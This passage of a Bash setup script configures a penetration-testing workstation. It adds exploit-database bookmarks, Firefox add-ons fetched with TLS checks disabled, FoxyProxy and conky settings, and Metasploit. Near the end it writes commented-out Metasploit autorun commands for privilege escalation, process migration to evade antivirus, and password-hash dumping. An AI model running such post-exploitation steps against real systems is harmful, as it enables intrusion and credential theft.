  1405. [ "${openVAS}" != "false" ] \
  1406.   && sed -i 's#^</DL><p>#    <DT><A HREF="https://127.0.0.1:9392/">OpenVAS</A>\n</DL><p>#' "${file}"              # Add OpenVAS UI to bookmark toolbar
  1407. sed -i 's#^</DL><p>#    <DT><A HREF="http://127.0.0.1:3000/ui/panel">BeEF</A>\n</DL><p>#' "${file}"               # Add BeEF UI to bookmark toolbar
  1408. sed -i 's#^</DL><p>#    <DT><A HREF="http://127.0.0.1/rips/">RIPS</A>\n</DL><p>#' "${file}"                       # Add RIPs to bookmark toolbar
  1409. sed -i 's#^</DL><p>#    <DT><A HREF="https://paulschou.com/tools/xlate/">XLATE</A>\n</DL><p>#' "${file}"          # Add XLATE to bookmark toolbar
  1410. sed -i 's#^</DL><p>#    <DT><A HREF="https://hackvertor.co.uk/public">HackVertor</A>\n</DL><p>#' "${file}"        # Add HackVertor to bookmark toolbar
  1411. sed -i 's#^</DL><p>#    <DT><A HREF="http://www.irongeek.com/skiddypad.php">SkiddyPad</A>\n</DL><p>#' "${file}"   # Add Skiddypad to bookmark toolbar
  1412. sed -i 's#^</DL><p>#    <DT><A HREF="https://www.exploit-db.com/search/">Exploit-DB</A>\n</DL><p>#' "${file}"     # Add Exploit-DB to bookmark toolbar
  1413. sed -i 's#^</DL><p>#    <DT><A HREF="http://offset-db.com/">Offset-DB</A>\n</DL><p>#' "${file}"                   # Add Offset-DB to bookmark toolbar
  1414. sed -i 's#^</DL><p>#    <DT><A HREF="http://shell-storm.org/shellcode/">Shelcodes</A>\n</DL><p>#' "${file}"       # Add Shelcodes to bookmark toolbar
  1415. sed -i 's#^</DL><p>#    <DT><A HREF="http://ropshell.com/">ROP Shell</A>\n</DL><p>#' "${file}"                    # Add ROP Shell to bookmark toolbar
  1416. sed -i 's#^</DL><p>#    <DT><A HREF="https://ifconfig.io/">ifconfig</A>\n</DL><p>#' "${file}"                     # Add ifconfig.io to bookmark toolbar
  1417. sed -i 's#<HR>#<DT><H3 ADD_DATE="1303667175" LAST_MODIFIED="1303667175" PERSONAL_TOOLBAR_FOLDER="true">Bookmarks Toolbar</H3>\n<DD>Add bookmarks to this folder to see them displayed on the Bookmarks Toolbar#' "${file}"
  1418. #--- Clear bookmark cache
  1419. find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -mindepth 1 -type f -name "places.sqlite" -delete
  1420. find ~/.mozilla/firefox/*.default*/bookmarkbackups/ -type f -delete
  1421. #--- Set firefox for XFCE's default
  1422. mkdir -p ~/.config/xfce4/
  1423. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup}    #exo-preferred-applications   #xdg-mime default
  1424. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1425. sed -i 's#^WebBrowser=.*#WebBrowser=firefox#' "${file}" 2>/dev/null \
  1426.   || echo -e 'WebBrowser=firefox' >> "${file}"
  1427.  
  1428.  
  1429. ##### Setup firefox's plugins
  1430. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firefox's plugins${RESET} ~ useful addons"
  1431. #--- Configure firefox
  1432. export DISPLAY=:0.0
  1433. #--- Download extensions
  1434. ffpath="$(find ~/.mozilla/firefox/*.default*/ -maxdepth 0 -mindepth 0 -type d -name '*.default*' -print -quit)/extensions"
  1435. [ "${ffpath}" == "/extensions" ] \
  1436.   && echo -e ' '${RED}'[!]'${RESET}" Couldn't find Firefox folder" 1>&2
  1437. mkdir -p "${ffpath}/"
  1438. #--- plug-n-hack
  1439. #curl --progress -k -L -f "https://github.com/mozmark/ringleader/blob/master/fx_pnh.xpi?raw=true????????????????"  \
  1440. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'plug-n-hack' 1>&2
  1441. #--- HttpFox
  1442. #curl --progress -k -L -f "https://addons.mozilla.org/en-GB/firefox/addon/httpfox/??????????????"  \
  1443. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HttpFox' 1>&2
  1444. #--- SQLite Manager
  1445. echo -n '[1/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/5817/addon-5817-latest.xpi?src=dp-btn-primary" \
  1446.   -o "${ffpath}/SQLiteManager@mrinalkant.blogspot.com.xpi" \
  1447.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'SQLite Manager'" 1>&2
  1448. #--- Cookies Manager+
  1449. echo -n '[2/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/92079/addon-92079-latest.xpi?src=dp-btn-primary" \
  1450.   -o "${ffpath}/{bb6bc1bb-f824-4702-90cd-35e2fb24f25d}.xpi" \
  1451.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Cookies Manager+'" 1>&2
  1452. #--- Firebug
  1453. echo -n '[3/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/1843/addon-1843-latest.xpi?src=dp-btn-primary" \
  1454.   -o "${ffpath}/firebug@software.joehewitt.com.xpi" \
  1455.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Firebug'" 1>&2
  1456. #--- FoxyProxy Basic
  1457. echo -n '[4/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/15023/addon-15023-latest.xpi?src=dp-btn-primary" \
  1458.   -o "${ffpath}/foxyproxy-basic@eric.h.jung.xpi" \
  1459.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'FoxyProxy Basic'" 1>&2
  1460. #--- User Agent Overrider
  1461. echo -n '[5/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/429678/addon-429678-latest.xpi?src=dp-btn-primary" \
  1462.   -o "${ffpath}/useragentoverrider@qixinglu.com.xpi" \
  1463.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'User Agent Overrider'" 1>&2
  1464. #--- HTTPS Everywhere
  1465. echo -n '[6/11]'; timeout 300 curl --progress -k -L -f "https://www.eff.org/files/https-everywhere-latest.xpi" \
  1466.   -o "${ffpath}/https-everywhere@eff.org.xpi" \
  1467.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HTTPS Everywhere'" 1>&2
  1468. #--- Live HTTP Headers
  1469. echo -n '[7/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/3829/addon-3829-latest.xpi?src=dp-btn-primary" \
  1470.   -o "${ffpath}/{8f8fe09b-0bd3-4470-bc1b-8cad42b8203a}.xpi" \
  1471.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Live HTTP Headers'" 1>&2
  1472. #---Tamper Data
  1473. echo -n '[8/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/966/addon-966-latest.xpi?src=dp-btn-primary" \
  1474.   -o "${ffpath}/{9c51bd27-6ed8-4000-a2bf-36cb95c0c947}.xpi" \
  1475.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Tamper Data'" 1>&2
  1476. #--- Disable Add-on Compatibility Checks
  1477. echo -n '[9/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/300254/addon-300254-latest.xpi?src=dp-btn-primary" \
  1478.   -o "${ffpath}/check-compatibility@dactyl.googlecode.com.xpi" \
  1479.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Disable Add-on Compatibility Checks'" 1>&2
  1480. #--- Disable HackBar
  1481. echo -n '[10/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/3899/addon-3899-latest.xpi?src=dp-btn-primary" \
  1482.   -o "${ffpath}/{F5DDF39C-9293-4d5e-9AA8-E04E6DD5E9B4}.xpi" \
  1483.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HackBar'" 1>&2
  1484. #--- uBlock
  1485. echo -n '[11/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/607454/addon-607454-latest.xpi?src=dp-btn-primary" \
  1486.   -o "${ffpath}/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}.xpi" \
  1487.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'uBlock'" 1>&2
  1488. #--- Installing extensions
  1489. for FILE in $(find "${ffpath}" -maxdepth 1 -type f -name '*.xpi'); do
  1490.   d="$(basename "${FILE}" .xpi)"
  1491.   mkdir -p "${ffpath}/${d}/"
  1492.   unzip -q -o -d "${ffpath}/${d}/" "${FILE}"
  1493.   rm -f "${FILE}"
  1494. done
  1495. #--- Enable Firefox's addons/plugins/extensions
  1496. timeout 15 firefox >/dev/null 2>&1
  1497. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1498. sleep 3s
  1499. #--- Method #1 (Works on older versions)
  1500. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'extensions.sqlite' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1501. if [[ -e "${file}" ]] || [[ -n "${file}" ]]; then
  1502.   echo -e " ${YELLOW}[i]${RESET} Enabled ${YELLOW}Firefox's extensions${RESET} (via method #1 - extensions.sqlite)"
  1503.   apt -y -qq install sqlite3 \
  1504.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1505.   rm -f /tmp/firefox.sql
  1506.   touch /tmp/firefox.sql
  1507.   echo "UPDATE 'main'.'addon' SET 'active' = 1, 'userDisabled' = 0;" > /tmp/firefox.sql    # Force them all!
  1508.   sqlite3 "${file}" < /tmp/firefox.sql      #fuser extensions.sqlite
  1509. fi
  1510. #--- Method #2 (Newer versions)
  1511. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'extensions.json' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1512. if [[ -e "${file}" ]] || [[ -n "${file}" ]]; then
  1513.   echo -e " ${YELLOW}[i]${RESET} Enabled ${YELLOW}Firefox's extensions${RESET} (via method #2 - extensions.json)"
  1514.   sed -i 's/"active":false,/"active":true,/g' "${file}"                # Force them all!
  1515.   sed -i 's/"userDisabled":true,/"userDisabled":false,/g' "${file}"    # Force them all!
  1516. fi
  1517. #--- Remove cache
  1518. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'prefs.js' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1519. [ -n "${file}" ] \
  1520.   && sed -i '/extensions.installCache/d' "${file}"
  1521. #--- For extensions that just work without restarting
  1522. timeout 15 firefox >/dev/null 2>&1
  1523. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1524. sleep 3s
  1525. #--- For (most) extensions, as they need firefox to restart
  1526. timeout 15 firefox >/dev/null 2>&1
  1527. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1528. sleep 5s
  1529. #--- Wipe session (due to force close)
  1530. find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'sessionstore.*' -delete
  1531. #--- Configure foxyproxy
  1532. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'foxyproxy.xml' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1533. if [[ -z "${file}" ]]; then
  1534.   echo -e ' '${RED}'[!]'${RESET}' Something went wrong with the FoxyProxy firefox extension (did any extensions install?). Skipping...' 1>&2
  1535. else     # Create new
  1536.   echo -ne '<?xml version="1.0" encoding="UTF-8"?>\n<foxyproxy mode="disabled" selectedTabIndex="0" toolbaricon="true" toolsMenu="true" contextMenu="false" advancedMenus="false" previousMode="disabled" resetIconColors="true" useStatusBarPrefix="true" excludePatternsFromCycling="false" excludeDisabledFromCycling="false" ignoreProxyScheme="false" apiDisabled="false" proxyForVersionCheck=""><random includeDirect="false" includeDisabled="false"/><statusbar icon="true" text="false" left="options" middle="cycle" right="contextmenu" width="0"/><toolbar left="options" middle="cycle" right="contextmenu"/><logg enabled="false" maxSize="500" noURLs="false" header="&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;\n&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head&gt;&lt;title&gt;&lt;/title&gt;&lt;link rel=&quot;icon&quot; href=&quot;http://getfoxyproxy.org/favicon.ico&quot;/&gt;&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://getfoxyproxy.org/favicon.ico&quot;/&gt;&lt;link rel=&quot;stylesheet&quot; href=&quot;http://getfoxyproxy.org/styles/log.css&quot; type=&quot;text/css&quot;/&gt;&lt;/head&gt;&lt;body&gt;&lt;table class=&quot;log-table&quot;&gt;&lt;thead&gt;&lt;tr&gt;&lt;td class=&quot;heading&quot;&gt;${timestamp-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${url-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${proxy-name-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${proxy-notes-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-name-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-case-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-type-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-color-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pac-result-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${error-msg-heading}&lt;/td&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tfoot&gt;&lt;tr&gt;&lt;td/&gt;&lt;/tr&gt;&lt;/tfoot&gt;&lt;tbody&gt;" row="&lt;tr&gt;&lt;td class=&quot;timestamp&quot;&gt;${timestamp}&lt;/td&gt;&lt;td class=&quot;url&quot;&gt;&lt;a href=&quot;${url}&quot;&gt;${url}&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;proxy-name&quot;&gt;${proxy-name}&lt;/td&gt;&lt;td class=&quot;proxy-notes&quot;&gt;${proxy-notes}&lt;/td&gt;&lt;td class=&quot;pattern-name&quot;&gt;${pattern-name}&lt;/td&gt;&lt;td class=&quot;pattern&quot;&gt;${pattern}&lt;/td&gt;&lt;td class=&quot;pattern-case&quot;&gt;${pattern-case}&lt;/td&gt;&lt;td class=&quot;pattern-type&quot;&gt;${pattern-type}&lt;/td&gt;&lt;td class=&quot;pattern-color&quot;&gt;${pattern-color}&lt;/td&gt;&lt;td class=&quot;pac-result&quot;&gt;${pac-result}&lt;/td&gt;&lt;td class=&quot;error-msg&quot;&gt;${error-msg}&lt;/td&gt;&lt;/tr&gt;" footer="&lt;/tbody&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;"/><warnings/><autoadd enabled="false" temp="false" reload="true" notify="true" notifyWhenCanceled="true" prompt="true"><match enabled="true" name="Dynamic AutoAdd Pattern" pattern="*://${3}${6}/*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/><match enabled="true" name="" pattern="*You are not authorized to view this page*" isRegEx="false" isBlackList="false" isMultiLine="true" caseSensitive="false" fromSubscription="false"/></autoadd><quickadd enabled="false" temp="false" reload="true" notify="true" notifyWhenCanceled="true" prompt="true"><match enabled="true" name="Dynamic QuickAdd Pattern" pattern="*://${3}${6}/*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/></quickadd><defaultPrefs origPrefetch="null"/><proxies>' > "${file}"
  1537.   echo -ne '<proxy name="localhost:8080" id="1145138293" notes="e.g. Burp, w3af" fromSubscription="false" enabled="true" mode="manual" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#07753E" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="127.0.0.1" port="8080" socksversion="5" isSocks="false" username="" password="" domain=""/></proxy>' >> "${file}"
  1538.   echo -ne '<proxy name="localhost:8081 (socket5)" id="212586674" notes="e.g. SSH" fromSubscription="false" enabled="true" mode="manual" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#917504" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="127.0.0.1" port="8081" socksversion="5" isSocks="true" username="" password="" domain=""/></proxy>' >> "${file}"
  1539.   echo -ne '<proxy name="No Caching" id="3884644610" notes="" fromSubscription="false" enabled="true" mode="system" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#990DA6" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="" port="" socksversion="5" isSocks="false" username="" password="" domain=""/></proxy>' >> "${file}"
  1540.   echo -ne '<proxy name="Default" id="3377581719" notes="" fromSubscription="false" enabled="true" mode="direct" selectedTabIndex="0" lastresort="true" animatedIcons="false" includeInCycle="true" color="#0055E5" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="false" disableCache="false" clearCookiesBeforeUse="false" rejectCookies="false"><matches><match enabled="true" name="All" pattern="*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/></matches><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="" port="" socksversion="5" isSocks="false" username="" password=""/></proxy>' >> "${file}"
  1541.   echo -e '</proxies></foxyproxy>' >> "${file}"
  1542. fi
  1543.  
  1544.  
  1545. ##### Install conky
  1546. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}conky${RESET} ~ GUI desktop monitor"
  1547. export DISPLAY=:0.0
  1548. apt -y -qq install conky \
  1549.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1550. #--- Configure conky
  1551. file=~/.conkyrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1552. if [[ -f "${file}" ]]; then
  1553.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1554. else
  1555.   cat <<EOF > "${file}"
  1556. --# Useful: http://forums.opensuse.org/english/get-technical-help-here/how-faq-forums/unreviewed-how-faq/464737-easy-configuring-conky-conkyconf.html
  1557. conky.config = {
  1558.     background = false,
  1559.  
  1560.     font = 'monospace:size=8:weight=bold',
  1561.     use_xft = true,
  1562.  
  1563.     update_interval = 2.0,
  1564.  
  1565.     own_window = true,
  1566.     own_window_type = 'normal',
  1567.     own_window_transparent = true,
  1568.     own_window_class = 'conky-semi',
  1569.     own_window_argb_visual = false,
  1570.     own_window_colour = 'brown',
  1571.     own_window_hints = 'undecorated,below,sticky,skip_taskbar,skip_pager',
  1572.  
  1573.     double_buffer = true,
  1574.     maximum_width = 260,
  1575.  
  1576.     draw_shades = true,
  1577.     draw_outline = false,
  1578.     draw_borders = false,
  1579.  
  1580.     stippled_borders = 3,
  1581.     border_inner_margin = 9,
  1582.     border_width = 10,
  1583.  
  1584.     default_color = 'grey',
  1585.  
  1586.     alignment = 'bottom_right',
  1587.     gap_x = 5,
  1588.     gap_y = 0,
  1589.  
  1590.     uppercase = false,
  1591.     use_spacer = 'right',
  1592. };
  1593.  
  1594. conky.text = [[
  1595. \${color dodgerblue3}SYSTEM \${hr 2}\$color
  1596. #\${color white}\${time %A},\${time %e} \${time %B} \${time %G}\${alignr}\${time %H:%M:%S}
  1597. \${color white}Host\$color: \$nodename  \${alignr}\${color white}Uptime\$color: \$uptime
  1598.  
  1599. \${color dodgerblue3}CPU \${hr 2}\$color
  1600. #\${font Arial:bold:size=8}\${execi 99999 grep "model name" -m1 /proc/cpuinfo | cut -d":" -f2 | cut -d" " -f2- | sed "s#Processor ##"}\$font\$color
  1601. \${color white}MHz\$color: \${freq} \${alignr}\${color white}Load\$color: \${exec uptime | awk -F "load average: "  '{print \$2}'}
  1602. \${color white}Tasks\$color: \$running_processes/\$processes \${alignr}\${color white}CPU0\$color: \${cpu cpu0}% \${color white}CPU1\$color: \${cpu cpu1}%
  1603. #\${color #c0ff3e}\${acpitemp}C
  1604. #\${execi 20 sensors |grep "Core0 Temp" | cut -d" " -f4}\$font\$color\${alignr}\${freq_g 2} \${execi 20 sensors |grep "Core1 Temp" | cut -d" " -f4}
  1605. \${cpugraph cpu0 25,120 000000 white} \${alignr}\${cpugraph cpu1 25,120 000000 white}
  1606. \${color white}\${cpubar cpu1 3,120} \${alignr}\${color white}\${cpubar cpu2 3,120}\$color
  1607.  
  1608. \${color dodgerblue3}PROCESSES \${hr 2}\$color
  1609. \${color white}NAME             PID     CPU     MEM
  1610. \${color white}\${top name 1}\${top pid 1}  \${top cpu 1}  \${top mem 1}\$color
  1611. \${top name 2}\${top pid 2}  \${top cpu 2}  \${top mem 2}
  1612. \${top name 3}\${top pid 3}  \${top cpu 3}  \${top mem 3}
  1613. \${top name 4}\${top pid 4}  \${top cpu 4}  \${top mem 4}
  1614. \${top name 5}\${top pid 5}  \${top cpu 5}  \${top mem 5}
  1615.  
  1616. \${color dodgerblue3}MEMORY & SWAP \${hr 2}\$color
  1617. \${color white}RAM\$color  \$alignr\$memperc%  \${membar 6,170}\$color
  1618. \${color white}Swap\$color  \$alignr\$swapperc%  \${swapbar 6,170}\$color
  1619.  
  1620. \${color dodgerblue3}FILESYSTEM \${hr 2}\$color
  1621. \${color white}root\$color \${fs_free_perc /}% free\${alignr}\${fs_free /}/ \${fs_size /}
  1622. \${fs_bar 3 /}\$color
  1623. #\${color white}home\$color \${fs_free_perc /home}% free\${alignr}\${fs_free /home}/ \${fs_size /home}
  1624. #\${fs_bar 3 /home}\$color
  1625.  
  1626. \${color dodgerblue3}LAN eth0 (\${addr eth0}) \${hr 2}\$color
  1627. \${color white}Down\$color:  \${downspeed eth0} KB/s\${alignr}\${color white}Up\$color: \${upspeed eth0} KB/s
  1628. \${color white}Downloaded\$color: \${totaldown eth0} \${alignr}\${color white}Uploaded\$color: \${totalup eth0}
  1629. \${downspeedgraph eth0 25,120 000000 00ff00} \${alignr}\${upspeedgraph eth0 25,120 000000 ff0000}\$color
  1630.  
  1631. EOF
  1632. ip addr show eth1 &>/dev/null \
  1633.  && cat <<EOF >> "${file}"
  1634. \${color dodgerblue3}LAN eth1 (\${addr eth1}) \${hr 2}\$color
  1635. \${color white}Down\$color:  \${downspeed eth1} KB/s\${alignr}\${color white}Up\$color: \${upspeed eth1} KB/s
  1636. \${color white}Downloaded\$color: \${totaldown eth1} \${alignr}\${color white}Uploaded\$color: \${totalup eth1}
  1637. \${downspeedgraph eth1 25,120 000000 00ff00} \${alignr}\${upspeedgraph eth1 25,120 000000 ff0000}\$color
  1638.  
  1639. EOF
  1640. cat <<EOF >> "${file}"
  1641. \${color dodgerblue3}Wi-Fi (\${addr wlan0}) \${hr 2}\$color
  1642. \${color white}Down\$color:  \${downspeed wlan0} KB/s\${alignr}\${color white}Up\$color: \${upspeed wlan0} KB/s
  1643. \${color white}Downloaded\$color: \${totaldown wlan0} \${alignr}\${color white}Uploaded\$color: \${totalup wlan0}
  1644. \${downspeedgraph wlan0 25,120 000000 00ff00} \${alignr}\${upspeedgraph wlan0 25,120 000000 ff0000}\$color
  1645.  
  1646. \${color dodgerblue3}CONNECTIONS \${hr 2}\$color
  1647. \${color white}Inbound: \$color\${tcp_portmon 1 32767 count}  \${alignc}\${color white}Outbound: \$color\${tcp_portmon 32768 61000 count}\${alignr}\${color white}Total: \$color\${tcp_portmon 1 65535 count}
  1648. \${color white}Inbound \${alignr}Local Service/Port\$color
  1649. \$color \${tcp_portmon 1 32767 rhost 0} \${alignr}\${tcp_portmon 1 32767 lservice 0}
  1650. \$color \${tcp_portmon 1 32767 rhost 1} \${alignr}\${tcp_portmon 1 32767 lservice 1}
  1651. \$color \${tcp_portmon 1 32767 rhost 2} \${alignr}\${tcp_portmon 1 32767 lservice 2}
  1652. \${color white}Outbound \${alignr}Remote Service/Port\$color
  1653. \$color \${tcp_portmon 32768 61000 rhost 0} \${alignr}\${tcp_portmon 32768 61000 rservice 0}
  1654. \$color \${tcp_portmon 32768 61000 rhost 1} \${alignr}\${tcp_portmon 32768 61000 rservice 1}
  1655. \$color \${tcp_portmon 32768 61000 rhost 2} \${alignr}\${tcp_portmon 32768 61000 rservice 2}
  1656. ]]
  1657. EOF
  1658. fi
  1659. #--- Create start script
  1660. mkdir -p /usr/local/bin/
  1661. file=/usr/local/bin/start-conky; [ -e "${file}" ] && cp -n $file{,.bkup}
  1662. cat <<EOF > "${file}" \
  1663.  || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1664. #!/bin/bash
  1665.  
  1666. [[ -z \${DISPLAY} ]] && export DISPLAY=:0.0
  1667.  
  1668. $(which timeout) 10 $(which killall) -9 -q -w conky
  1669. $(which sleep) 20s
  1670. $(which conky) &
  1671. EOF
  1672. chmod -f 0500 "${file}"
  1673. #--- Run now
  1674. bash /usr/local/bin/start-conky >/dev/null 2>&1 &
  1675. #--- Add to startup (each login)
  1676. mkdir -p ~/.config/autostart/
  1677. file=~/.config/autostart/conkyscript.desktop; [ -e "${file}" ] && cp -n $file{,.bkup}
  1678. cat <<EOF > "${file}" \
  1679.  || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1680. [Desktop Entry]
  1681. Name=conky
  1682. Exec=/usr/local/bin/start-conky
  1683. Hidden=false
  1684. NoDisplay=false
  1685. X-GNOME-Autostart-enabled=true
  1686. Type=Application
  1687. Comment=
  1688. EOF
  1689. #--- Add keyboard shortcut (CTRL+r) to run the conky refresh script
  1690. file=~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml   #; [ -e "${file}" ] && cp -n $file{,.bkup}
  1691. if [ -e "${file}" ]; then
  1692.  grep -q '<property name="&lt;Primary&gt;r" type="string" value="/usr/local/bin/start-conky"/>' "${file}" \
  1693.    || sed -i 's#<property name="\&lt;Alt\&gt;F2" type="string" value="xfrun4"/>#<property name="\&lt;Alt\&gt;F2" type="string" value="xfrun4"/>\n      <property name="\&lt;Primary\&gt;r" type="string" value="/usr/local/bin/start-conky"/>#' "${file}"
  1694. fi
  1695.  
  1696.  
  1697. ##### Install metasploit ~ http://docs.kali.org/general-use/starting-metasploit-framework-in-kali
  1698. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}metasploit${RESET} ~ exploit framework"
  1699. apt -y -qq install metasploit-framework \
  1700.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1701. mkdir -p ~/.msf4/modules/{auxiliary,exploits,payloads,post}/
  1702. #--- ASCII art
  1703. #export GOCOW=1   # Always a cow logo ;)   Others: THISISHALLOWEEN (Halloween), APRILFOOLSPONIES (My Little Pony)
  1704. #file=~/.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1705. #([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1706. #grep -q '^GOCOW' "${file}" 2>/dev/null || echo 'GOCOW=1' >> "${file}"
  1707. #--- Fix any port issues
  1708. file=$(find /etc/postgresql/*/main/ -maxdepth 1 -type f -name postgresql.conf -print -quit);
  1709. [ -e "${file}" ] && cp -n $file{,.bkup}
  1710. sed -i 's/port = .* #/port = 5432 /' "${file}"
  1711. #--- Fix permissions - 'could not translate host name "localhost", service "5432" to address: Name or service not known'
  1712. chmod 0644 /etc/hosts
  1713. #--- Start services
  1714. systemctl stop postgresql
  1715. systemctl start postgresql
  1716. msfdb reinit
  1717. sleep 5s
  1718. #--- Autorun Metasploit commands each startup
  1719. file=~/.msf4/msf_autorunscript.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1720. if [[ -f "${file}" ]]; then
  1721.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1722. else
  1723.   cat <<EOF > "${file}"
  1724. #run post/windows/escalate/getsystem
  1725.  
  1726. #run migrate -f -k
  1727. #run migrate -n "explorer.exe" -k    # Can trigger AV alerts by touching explorer.exe...
  1728.  
  1729. #run post/windows/manage/smart_migrate
  1730. #run post/windows/gather/smart_hashdump
  1731. EOF
  1732. fi
  1733. file=~/.msf4/msfconsole.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1734. if [[ -f "${file}" ]]; then
